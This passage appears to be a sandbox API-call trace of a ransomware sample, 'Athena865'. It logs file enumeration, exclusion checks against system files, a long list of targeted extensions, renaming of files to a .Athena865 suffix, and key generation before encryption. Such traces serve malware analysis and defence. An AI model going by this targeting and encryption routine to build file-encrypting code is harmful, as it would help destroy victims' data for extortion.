flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9490, lpName=0x0) returned 0x154 [0128.498] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9490) returned 0x100000 [0128.514] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.515] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.515] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.516] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.516] CloseHandle (hObject=0x154) returned 1 [0128.516] CloseHandle (hObject=0x17c) returned 1 [0128.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.517] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2=".") returned 1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="..") returned 1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="windows") returned -1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="bootmgr") returned 1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="temp") returned -1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="pagefile.sys") returned -1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="boot") returned 1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="ids.txt") returned 1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="ntuser.dat") returned -1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="perflogs") returned -1 [0128.517] lstrcmpiW (lpString1="J0230553.WMF", lpString2="MSBuild") returned -1 [0128.517] lstrlenW (lpString="J0230553.WMF") returned 12 [0128.517] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0230553.WMF" | out: lpString1="J0230553.WMF") returned="J0230553.WMF" [0128.517] lstrlenW (lpString="J0230553.WMF") returned 12 [0128.517] lstrlenW (lpString="Athena865") returned 9 [0128.517] lstrcmpiW (lpString1="30553.WMF", lpString2="Athena865") returned -1 [0128.517] lstrlenW (lpString=".dll") returned 4 [0128.518] lstrcmpiW (lpString1="J0230553.WMF", lpString2=".dll") returned 1 [0128.518] lstrlenW (lpString=".lnk") returned 4 [0128.518] lstrcmpiW (lpString1="J0230553.WMF", lpString2=".lnk") returned 1 [0128.518] lstrlenW (lpString=".ini") returned 4 [0128.518] lstrcmpiW (lpString1="J0230553.WMF", lpString2=".ini") returned 1 [0128.518] lstrlenW (lpString=".sys") returned 4 [0128.518] lstrcmpiW (lpString1="J0230553.WMF", lpString2=".sys") returned 1 [0128.518] lstrlenW (lpString="J0230553.WMF") returned 12 [0128.518] lstrlenW (lpString="bak") returned 3 [0128.518] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.518] lstrlenW (lpString="ba_") returned 3 [0128.518] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.518] lstrlenW (lpString="dbb") returned 3 [0128.518] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.518] lstrlenW (lpString="vmdk") returned 4 [0128.518] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.518] lstrlenW (lpString="rar") returned 3 [0128.518] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.518] lstrlenW (lpString="zip") returned 3 [0128.518] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.518] lstrlenW (lpString="tgz") returned 3 [0128.518] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.518] lstrlenW (lpString="vbox") returned 4 [0128.518] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.518] lstrlenW (lpString="vdi") returned 3 [0128.518] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.518] lstrlenW (lpString="vhd") returned 3 [0128.519] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.519] lstrlenW (lpString="vhdx") returned 4 [0128.519] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.519] lstrlenW (lpString="avhd") returned 4 [0128.519] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.519] lstrlenW (lpString="db") returned 2 [0128.519] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.519] lstrlenW (lpString="db2") returned 3 [0128.519] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.519] lstrlenW (lpString="db3") returned 3 [0128.519] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.519] lstrlenW (lpString="dbf") returned 3 [0128.519] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.519] lstrlenW (lpString="mdf") returned 3 [0128.519] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.519] lstrlenW (lpString="mdb") returned 3 [0128.519] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.519] lstrlenW (lpString="sql") returned 3 [0128.519] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.519] lstrlenW (lpString="sqlite") returned 6 [0128.519] lstrcmpiW (lpString1="53.WMF", lpString2="sqlite") returned -1 [0128.519] lstrlenW (lpString="sqlite3") returned 7 [0128.519] lstrcmpiW (lpString1="553.WMF", lpString2="sqlite3") returned -1 [0128.519] lstrlenW (lpString="sqlitedb") returned 8 [0128.519] lstrcmpiW (lpString1="0553.WMF", lpString2="sqlitedb") returned -1 [0128.519] lstrlenW (lpString="xml") returned 3 [0128.520] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.520] lstrlenW (lpString="$er") returned 3 [0128.520] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.520] lstrlenW (lpString="4dd") returned 3 [0128.520] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.520] lstrlenW (lpString="4dl") returned 3 [0128.520] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.520] lstrlenW (lpString="^^^") returned 3 [0128.520] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.520] lstrlenW (lpString="abs") returned 3 [0128.520] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.520] lstrlenW (lpString="abx") returned 3 [0128.520] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.520] lstrlenW (lpString="accdb") returned 5 [0128.520] lstrcmpiW (lpString1="3.WMF", lpString2="accdb") returned -1 [0128.520] lstrlenW (lpString="accdc") returned 5 [0128.520] lstrcmpiW (lpString1="3.WMF", lpString2="accdc") returned -1 [0128.520] lstrlenW (lpString="accde") returned 5 [0128.520] lstrcmpiW (lpString1="3.WMF", lpString2="accde") returned -1 [0128.520] lstrlenW (lpString="accdr") returned 5 [0128.520] lstrcmpiW (lpString1="3.WMF", lpString2="accdr") returned -1 [0128.520] lstrlenW (lpString="accdt") returned 5 [0128.520] lstrcmpiW (lpString1="3.WMF", lpString2="accdt") returned -1 [0128.520] lstrlenW (lpString="accdw") returned 5 [0128.520] lstrcmpiW (lpString1="3.WMF", lpString2="accdw") returned -1 [0128.520] lstrlenW (lpString="accft") returned 5 [0128.521] lstrcmpiW (lpString1="3.WMF", lpString2="accft") returned -1 [0128.521] lstrlenW (lpString="adb") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.521] lstrlenW (lpString="adb") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.521] lstrlenW (lpString="ade") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.521] lstrlenW (lpString="adf") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.521] lstrlenW (lpString="adn") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.521] lstrlenW (lpString="adp") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.521] lstrlenW (lpString="alf") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.521] lstrlenW (lpString="ask") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.521] lstrlenW (lpString="btr") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.521] lstrlenW (lpString="cat") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.521] lstrlenW (lpString="cdb") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.521] lstrlenW (lpString="ckp") returned 3 [0128.521] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.522] lstrlenW (lpString="cma") returned 3 [0128.522] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.522] lstrlenW (lpString="cpd") returned 3 [0128.522] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.522] lstrlenW (lpString="dacpac") returned 6 [0128.522] lstrcmpiW (lpString1="53.WMF", lpString2="dacpac") returned -1 [0128.522] lstrlenW (lpString="dad") returned 3 [0128.522] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.522] lstrlenW (lpString="dadiagrams") returned 10 [0128.522] lstrcmpiW (lpString1="230553.WMF", lpString2="dadiagrams") returned -1 [0128.522] lstrlenW (lpString="daschema") returned 8 [0128.522] lstrcmpiW (lpString1="0553.WMF", lpString2="daschema") returned -1 [0128.522] lstrlenW (lpString="db-journal") returned 10 [0128.522] lstrcmpiW (lpString1="230553.WMF", lpString2="db-journal") returned -1 [0128.522] lstrlenW (lpString="db-shm") returned 6 [0128.522] lstrcmpiW (lpString1="53.WMF", lpString2="db-shm") returned -1 [0128.522] lstrlenW (lpString="db-wal") returned 6 [0128.522] lstrcmpiW (lpString1="53.WMF", lpString2="db-wal") returned -1 [0128.522] lstrlenW (lpString="dbc") returned 3 [0128.522] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.522] lstrlenW (lpString="dbs") returned 3 [0128.522] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.522] lstrlenW (lpString="dbt") returned 3 [0128.522] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.522] lstrlenW (lpString="dbv") returned 3 [0128.522] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.523] lstrlenW (lpString="dbx") returned 3 [0128.523] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.523] lstrlenW (lpString="dcb") returned 3 [0128.523] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.523] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.523] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.Athena865") returned 73 [0128.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.athena865"), dwFlags=0x1) returned 1 [0128.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.534] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7594) returned 1 [0128.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.534] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.535] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.535] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.535] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20b0, lpName=0x0) returned 0x154 [0128.537] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20b0) returned 0x100000 [0128.538] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.539] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.539] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.540] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.540] CloseHandle (hObject=0x154) returned 1 [0128.540] CloseHandle (hObject=0x17c) returned 1 [0128.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.540] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2=".") returned 1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2="..") returned 1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2="windows") returned -1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2="bootmgr") returned 1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2="temp") returned -1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2="pagefile.sys") returned -1 [0128.540] lstrcmpiW (lpString1="J0230558.WMF", lpString2="boot") returned 1 [0128.541] lstrcmpiW (lpString1="J0230558.WMF", lpString2="ids.txt") returned 1 [0128.541] lstrcmpiW (lpString1="J0230558.WMF", lpString2="ntuser.dat") returned -1 [0128.541] lstrcmpiW (lpString1="J0230558.WMF", lpString2="perflogs") returned -1 [0128.541] lstrcmpiW (lpString1="J0230558.WMF", lpString2="MSBuild") returned -1 [0128.541] lstrlenW (lpString="J0230558.WMF") returned 12 [0128.541] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0230558.WMF" | out: lpString1="J0230558.WMF") returned="J0230558.WMF" [0128.541] lstrlenW (lpString="J0230558.WMF") returned 12 [0128.541] lstrlenW (lpString="Athena865") returned 9 [0128.541] lstrcmpiW (lpString1="30558.WMF", lpString2="Athena865") returned -1 [0128.541] lstrlenW (lpString=".dll") returned 4 [0128.541] lstrcmpiW (lpString1="J0230558.WMF", lpString2=".dll") returned 1 [0128.541] lstrlenW (lpString=".lnk") returned 4 [0128.541] lstrcmpiW (lpString1="J0230558.WMF", lpString2=".lnk") returned 1 [0128.541] lstrlenW (lpString=".ini") returned 4 [0128.541] lstrcmpiW (lpString1="J0230558.WMF", lpString2=".ini") returned 1 [0128.541] lstrlenW (lpString=".sys") returned 4 [0128.541] lstrcmpiW (lpString1="J0230558.WMF", lpString2=".sys") returned 1 [0128.541] lstrlenW (lpString="J0230558.WMF") returned 12 [0128.541] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.Athena865") returned 73 [0128.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.athena865"), dwFlags=0x1) returned 1 [0128.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.543] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4198) returned 1 [0128.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.543] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.544] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.544] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.544] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1370, lpName=0x0) returned 0x154 [0128.546] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1370) returned 0x100000 [0128.547] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.548] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.548] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.549] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.549] CloseHandle (hObject=0x154) returned 1 [0128.549] CloseHandle (hObject=0x17c) returned 1 [0128.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.549] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0128.549] lstrcmpiW (lpString1="J0232171.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2=".") returned 1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="..") returned 1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="windows") returned -1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="bootmgr") returned 1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="temp") returned -1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="pagefile.sys") returned -1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="boot") returned 1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="ids.txt") returned 1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="ntuser.dat") returned -1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="perflogs") returned -1 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2="MSBuild") returned -1 [0128.550] lstrlenW (lpString="J0232171.WMF") returned 12 [0128.550] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0232171.WMF" | out: lpString1="J0232171.WMF") returned="J0232171.WMF" [0128.550] lstrlenW (lpString="J0232171.WMF") returned 12 [0128.550] lstrlenW (lpString="Athena865") returned 9 [0128.550] lstrcmpiW (lpString1="32171.WMF", lpString2="Athena865") returned -1 [0128.550] lstrlenW (lpString=".dll") returned 4 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2=".dll") returned 1 [0128.550] lstrlenW (lpString=".lnk") returned 4 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2=".lnk") returned 1 [0128.550] lstrlenW (lpString=".ini") returned 4 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2=".ini") returned 1 [0128.550] lstrlenW (lpString=".sys") returned 4 [0128.550] lstrcmpiW (lpString1="J0232171.WMF", lpString2=".sys") returned 1 [0128.550] lstrlenW (lpString="J0232171.WMF") returned 12 [0128.551] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.Athena865") returned 73 [0128.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.athena865"), dwFlags=0x1) returned 1 [0128.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.552] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13098) returned 1 [0128.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 